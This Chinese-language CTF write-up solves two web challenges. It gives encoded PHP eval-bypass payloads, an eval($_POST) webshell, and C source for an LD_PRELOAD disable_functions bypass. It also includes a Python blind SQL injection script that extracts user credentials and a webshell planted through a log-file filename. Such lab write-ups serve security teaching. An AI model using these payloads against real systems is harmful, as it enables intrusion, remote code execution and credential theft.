[极客大挑战 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
打开得到源码,过滤了数字和字母,用取反或者异或来绕过
取反:?code=(~%8F%97%8F%96%91%99%90)();//phpinfo();
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9E%CC%8C%97%96%DD%A2%D6%D6
);//前一段是assert后一段是(eval($_POST["ta3shi"])),最后分号不要忘记
异或:?code=${%A5%BD%BF%AE^%fa%fa%fa%fa}{_}(${%A5%BD%BF%AE^%fa%fa%fa%fa}{__});&_=assert&__=eval($_POST[ta3shi])
//$_GET[_]($_GET[__])
构造以上payload的就可以用蚁剑连了
连上之后在根目录发现有个空的flag和一个readflag文件,而PHPinfo里禁用了命令执行的函数,所以所以蚁剑 上连接的shell基本 没有功能,这个时候我们 就要用LD_PRELOAD & putenv()来绕过disable_functions
具体内容可以参考这篇文章深入浅出LD_PRELOAD & putenv()
网上脚本
将下载的bypass_disablefunc_x64.so和bypass_disablefunc.php上传到/tmp目录下,然后payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
写个脚本
仿照文章写c文件
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag.txt");
}
或者是
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后编译成.so文件
gcc -shared -fPIC test.c -o exp.so
上传到/tmp目录,然后用蚁剑的脚本执行工具,执行
putenv("LD_PRELOAD=/tmp/exp.so");
mail('','','','');
就可以在/tmp目录读取flag了
[CISCN2019 总决赛 Day2 Web1]Easyweb
robots.txt泄露源码*.php.bak试出来是image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
过滤处会把\0,%00,'转为空格,那么我们 id=\\0就会将id后面的引号转义后面就可以用整形注入
下面payload
import time as t
url='http://8a43e8d6-0fcd-4ab1-9269-1cec950c17eb.node3.buuoj.cn/image.php?id=\\\\0&path=or%20id='
result = ''
for x in range(1, 500):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload='if(ascii(substr((select group_concat(column_name) from information.schema.columns where table_name=0x7573657273),%d,1))>%d,1,0)--+'%(x,mid)
payload='if(ascii(substr((select group_concat(username,password) from (users)),%d,1))>%d,1,0)--+'%(x,mid)
t.sleep(0.5)
print(url+payload)
response = requests.get(url+payload)
if 'WFZ' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
得到admin-9e8171be8517f8aa3285
登录上去
上传文件,测试了几次发现会把文件名上传到日志文件里并且是php文件,那么文件名改一下就可以了不过php被过滤了用<?=就可以了
filename="<?= @eval($_POST[1]);?>"
<>里的内容不可见所以查看源代码的时候看不见直接蚁剑连就可以了
flag在根目录